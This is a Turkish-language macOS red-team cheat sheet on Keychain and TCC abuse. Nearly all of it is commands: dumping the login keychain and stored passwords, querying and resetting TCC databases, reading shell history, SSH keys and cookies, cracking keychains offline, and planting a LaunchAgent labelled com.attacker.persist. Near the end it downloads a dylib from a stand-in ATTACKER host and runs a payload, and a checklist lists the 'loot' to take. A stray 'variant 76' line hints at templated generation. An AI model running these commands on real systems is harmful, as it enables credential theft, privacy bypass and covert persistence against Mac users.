Skip to content

macOS Keychain

macos red-team

macOS Keychain macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

  1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

  2. macOS Keychain için launch item, entitlement ve library/XPC yüzeyini tara.

  3. Injection veya privacy bypass hipotezini doğrula.

  4. Keychain/TCC/hassas dosya kanıtını al.

macOS Keychain macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

Terminal window
id; whoami; hostname
Terminal window
sw_vers; uname -a
Terminal window
csrutil status
Terminal window
spctl --status
Terminal window
system_profiler SPSoftwareDataType | head -n 40
Terminal window
ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null
Terminal window
ps aux | head -n 50
Terminal window
lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

TCC veritabanı ve TCC’li uygulamalar üzerinden hassas veri veya AppleEvent suistimali.

Terminal window
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access"
Terminal window
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access" 2>/dev/null
Terminal window
tccutil reset All com.example.app 2>/dev/null
Terminal window
security dump-keychain -d login.keychain-db 2>/dev/null | head -n 80
Terminal window
security find-generic-password -a $USER -s 'target' -w 2>/dev/null
Terminal window
osascript -e 'tell application "System Events" to get name of every process'
Terminal window
osascript -e 'tell application "Finder" to get home'
Terminal window
ls -la ~/Library/Application\ Support/com.apple.TCC/

LaunchAgent/Daemon, Login Item ve MDM enrollment red-team kalıcılık yüzeyidir.

Terminal window
ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons /System/Library/LaunchDaemons 2>/dev/null
Terminal window
launchctl list | head -n 40
Terminal window
osascript -e 'tell application "System Events" to get the name of every login item'
Terminal window
profiles status -type enrollment 2>/dev/null
Terminal window
profiles list -verbose 2>/dev/null | head
Terminal window
system_profiler SPHardwareDataType | rg 'Serial'
Terminal window
cat ~/Library/LaunchAgents/*.plist 2>/dev/null | head -n 80
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.attacker.persist</string>
<key>ProgramArguments</key><array><string>/Users/Shared/p</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

Terminal window
file /Applications/App.app/Contents/MacOS/*
Terminal window
lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null
Terminal window
nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head
Terminal window
vmmap $(pgrep -n App) 2>/dev/null | head
Terminal window
lldb -p $(pgrep -n App)
Terminal window
nvram -p
Terminal window
kextstat 2>/dev/null | head
Terminal window
systemextensionsctl list 2>/dev/null
Terminal window
ioreg -l | rg -i 'IOUserClient|IOKit' | head
Terminal window
ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head
Terminal window
find /Users /Library -name '*.plist' 2>/dev/null | head -n 40
Terminal window
ls -la ~/Library/Keychains ~/.ssh 2>/dev/null
Terminal window
cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50
Terminal window
defaults read 2>/dev/null | head
Terminal window
find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head
Terminal window
security find-internet-password -g 2>/dev/null | head

login.keychain ve iCloud keychain gizli anahtar/parola kaynağıdır.

Terminal window
security list-keychains
Terminal window
security dump-keychain -d login.keychain-db
Terminal window
security find-generic-password -a $USER -g
Terminal window
security find-internet-password -g
Terminal window
chainbreaker -f login.keychain-db -p PASS # offline
Terminal window
# macOS Keychain — varyant 76
Terminal window
ls -la@ ~/Library ~/Documents 2>/dev/null | head
Terminal window
mdfind 'kMDItemKind == Application' | head
Terminal window
defaults read com.apple.dock 2>/dev/null | head
Terminal window
log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head
Terminal window
fs_usage -w -f filesys 2>/dev/null | head
Terminal window
sample App 3 2>/dev/null | head
Terminal window
python3 -m http.server 8000
Terminal window
curl -O http://ATTACKER/evil.dylib
Terminal window
chmod +x ./payload && ./payload
[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

macOS Keychain sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.